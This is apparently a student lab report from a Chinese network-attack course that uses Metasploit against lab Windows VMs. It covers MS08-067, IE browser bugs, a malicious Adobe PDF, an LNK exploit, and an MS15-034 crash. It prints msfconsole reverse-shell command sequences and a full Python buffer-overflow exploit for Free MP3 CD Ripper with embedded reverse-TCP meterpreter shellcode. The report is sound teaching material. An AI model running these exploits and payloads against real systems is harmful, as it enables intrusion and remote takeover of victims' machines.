2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用

# 1.实验内容 1.1一个主动攻击实践,如ms08_067; (1分)

1.2 一个针对浏览器的攻击,如ms11_050;(1分)

1.3 一个针对客户端的攻击,如Adobe;(1分)

1.4 成功应用任何一个辅助模块。(0.5分)

2.基础问题回答

(1)用自己的话解释什么是exploit,payload,encode.

  • exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中。
  • payload也就相当于载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
  • encode也就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。

3.实验内容

任务一:一个主动攻击实践

漏洞MS08_067(成功)

关于漏洞MS08_067的原理

  • 安全公告:KB958644
  • 时间:2008年底
  • 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
  • 详细原理说明:在规范化路径操作中,就是将路径字符串中'/'置换成''以及出去相对路径(例如:'.'),而服务程序在这部分的地址空间检查存在逻辑漏洞,攻击者可以在函数除去“..”字符串时,将路径字符串中的内容复制到路径串之前的地址空间中,覆盖掉返回地址执行shellcode(原理类似我们之前所做的缓冲区溢出攻击)
  • 受影响的操作系统:windows 2000/xp/server 2003/server 2008/vista/7 Beta
  • 影响:能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞

攻击过程

  • 靶机:Windows XP SP3 English
    • IP:192.168.19.145
  • 主机:Kali
    • IP:192.168.19.129
  • 步骤

1.先用search ms08_067指令查询一下针对该漏洞可以运用的攻击模块:

2.用use exploit/windows/smb/ms08_067_netapi使用该模块,再使用show payloads查看可以供我们使用的payload

3.我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp对payload进行设置:

4.接着使用指令show options查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):

5.show targets 查看这个漏洞波及的系统版本共71个,主要是xp和2003。我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)

6.接着使用exploit指令开始攻击,攻击成功后获取了靶机的shell,使用dir指令查看目录文件:

问题

  • 一开始用的老师给的xp中文版虚拟机,结果一直提示没有建立会话:

  • 从学姐那拷了英文版的xp,后面就没有出现类似问题。

任务二:一个针对浏览器的攻击

ms11_050(成功)

关于漏洞的原理

  • 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
  • 影响范围:IE Exploer 7 以及 IE Exploer 8

攻击过程

  • 靶机:Windows XP SP3 English
    • IP:192.168.19.145
  • 主机:Kali
    • IP:192.168.19.129
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader    使用漏洞
show payloads   显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip]  设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num   查看开启的会话
  • 攻击成功

ms14_064(成功)

漏洞原理

  • Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本

攻击过程

  • 靶机:Windows XP SP3 English IE8
  • IP:192.168.19.145
  • 主机:Kali
    • IP:192.168.19.129
search ms14_064 搜索漏洞
use windows/browser/ms14_064_ole_code_execution    使用漏洞
show payloads   显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST 192.168.19.129  设置监听地址
set LPORT 5230 设置监听端口
set URIPATH tky  设置url域名
exploit 开始攻击,并在靶机打开IE浏览器输入生成的网址,kali的8080端口监听获得连接,建立会话
sessions -i num   查看开启的会话

  • 攻击成功

任务三:一个针对客户端的攻击

Adobe_toolbutton(成功)

漏洞原理

  • 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
  • 本次攻击对象:windows xp sp3 Adobe 9.3.2

攻击过程

1.根据自己的需求选择攻击模块,将其载入。选用exploit/windows/fileformat/adobe_toolbutton

2.使用命令show payloads选择要使用的payload(这里使用了windows/meterpreter/reverse_http

3.使用命令show options查看相关参数设置要求

4.设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个5230.pdf文件:

5.然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听

6.将靶机中的pdf文件打开,攻击机成功获取到靶机shell:

问题

  • 最开始下载了adobe9.3,但是攻击不成功,总是会闪退

  • 重新下载了adobe的版本——9.0即可

CVE-2018-8174(失败)

攻击过程

  • 1.首先到GitHub上下载用于该漏洞的攻击模块https://github.com/0x09AL/CVE-2018-8174-msf.git

  • 2.下载到kali之中并查看一下目录是否成功下载,将CVE-2018-8174.rb复制到 fileformat 目录/:

cd  CVE-2018-8174-msf/
cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/  /*将CVE-2018-8174.rtf复制到 exploits 目录*/
cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/

  • 启动 metasploit
use exploit/windows/fileformat/cve_2018_8174
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost 192.168.19.129
set lhost 192.168.19.129
exploit

  • 用靶机的 IE 浏览器打开恶意 URL,显示连接成功,但是没有返回shell

  • 尝试了老师的方法word打开,这个漏洞只针对32位的word,下载了2013和2010版的都没能成功,一打开.rtf文件,word就会崩

  • 最开始会弹此文档包含的连接可能引用了其他文件,以为有机会成功,但是不论选“是”还是“否”,最后都会弹内存不足

  • 去网上查了一下,别人说告警内存不足一定是中了病毒。。。。。

  • 看来这个漏洞已经被修复了。试了很多遍,在WIN7里和WIN10里都试过,还是没能成功

问题

  • 最开始用CP命令拷贝文件到相应的文件夹下后,执行msfconsole会报错

  • 看了一下报错的内容,最后一句意思大概意思是要使用小写,修改以后可正常执行
    此处一定要将.rb文件名中的CVE变为小写,.crt不变

CVE-2017-8464(成功)

攻击过程

  • 靶机:Win7

  • 在开始之前先通过命令search CVE:2018 type:exploit 找了一下CVE-2017和2018漏洞有哪些,其实很多英文参数看不懂,这时候百度就是个好东西,有很多漏洞要不就是涉及的知识我不懂,要不就是它需要的环境和软件我下载不下来,挑来选去选中了这个漏洞

  • 打开终端

msfconsole

use exploit/windows/fileformat/cve_2017_8464_lnk_rce

set payload windows/meterpreter/reverse_tcp

show options

set LHOST 192.168.19.129

exploit

  • 2.将生成的.lnk文件全部复制到移动磁盘里面(u盘拷贝),然后在msf中开始监听
use multi/handler

set paylaod windows/meterpreter/reverse_tcp

set LHOST192.168.19.129

exploit
  • 3.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。

CVE-2019-9766(成功且唯一)

漏洞原理

  • Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码

攻击过程

  • 靶机:Win10

  • 利用msf生成反向连接的shellcode,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest

  • 替换脚本中的shellcode.

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116

NSEH = "xebx06x90x90"

SEH = "x84x20xe4x66"

nops = "x90" * 5

buf = ""

buf = ""
buf += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
buf += "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
buf += "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
buf += "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
buf += "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
buf += "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
buf += "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
buf += "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
buf += "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
buf += "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
buf += "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
buf += "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x13x81"
buf += "x68x02x00x1cx3ex89xe6x50x50x50x50x40x50x40x50"
buf += "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
buf += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xecx68xf0"
buf += "xb5xa2x56xffxd5x6ax00x6ax04x56x57x68x02xd9xc8"
buf += "x5fxffxd5x8bx36x6ax40x68x00x10x00x00x56x6ax00"
buf += "x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68"
buf += "x02xd9xc8x5fxffxd5x01xc3x29xc6x75xeexc3";

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"


  • 2.运行脚本,生成恶意mp3文件,python FmcrExploit.py

  • 3.移动恶意文件到靶机windows10上

  • 4.打开msf并设置监听

  • 在主机上打开Free MP3 CD Ripper软件

  • 回连成功!

任务四:应用辅助模块的攻击

MS15-034(成功且唯一)

原理

  • 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

攻击过程

  • 靶机:windows server 2012 R2

    • IP:192.168.19.148
  • 在正式攻击之前可以先用auxiliary中的扫描端口模块扫描受害机开发的端口

  • 首先需要安装IIS服务

  • win12安装好iis服务后访问80端口,检测是否存在漏洞:使用curl发送以下数据curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"当出现Requested Range Not Satisfiable时说明存在漏洞。

  • 在msf中执行过程如下,原理与之前的一样

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.19.148
set threads 10
exploit

  • 哈哈哈哈哈哈 蓝屏攻击成功!

4.实践总结与体会

  • 这次实验找了很多靶机和漏洞,本想实现一个18年的adobeflashplayer漏洞CVE2018-4878,但是找了很久发现都下载不了旧版本的插件,官网又要求其他网站不能提供下载地址,尝试了很久还是放弃了。接着又找了很多CVE漏洞,漏洞准备其实不算难,难的在于寻找靶机,前后一共找了5个靶机,分别是Win7 、Win Server 8 、 Win Server 12 R2 、 Win XP SP3 Ch-zn 和 Win XP SP3 English。有很多时候电脑反应特别慢,靶机还不上当
  • 整个过程给我最大的感受就是官网提示的更新一定要尽早更新,有太多人心心念念着利用旧版本的漏洞实现各种各样的攻击,他们不会像我们这样获取用户的shell,而是从中非法获取私人信息。我还找到了一个可利用U盘进行传播的漏洞,这也是为什么很多涉密单位必须用加密的U盘,网络攻击无时无刻都存在,有不法分子谋取利益,也有国外敌对分子获取情报,我们一定要提高警惕,不要随意点未知的链接,及时更新,及时杀毒,太重要了。

5.离实战还缺些什么技术或步骤?

  • 如何将恶意软件隐蔽的植入用户的电脑!
原文地址:https://www.cnblogs.com/tiankunye/p/10698599.html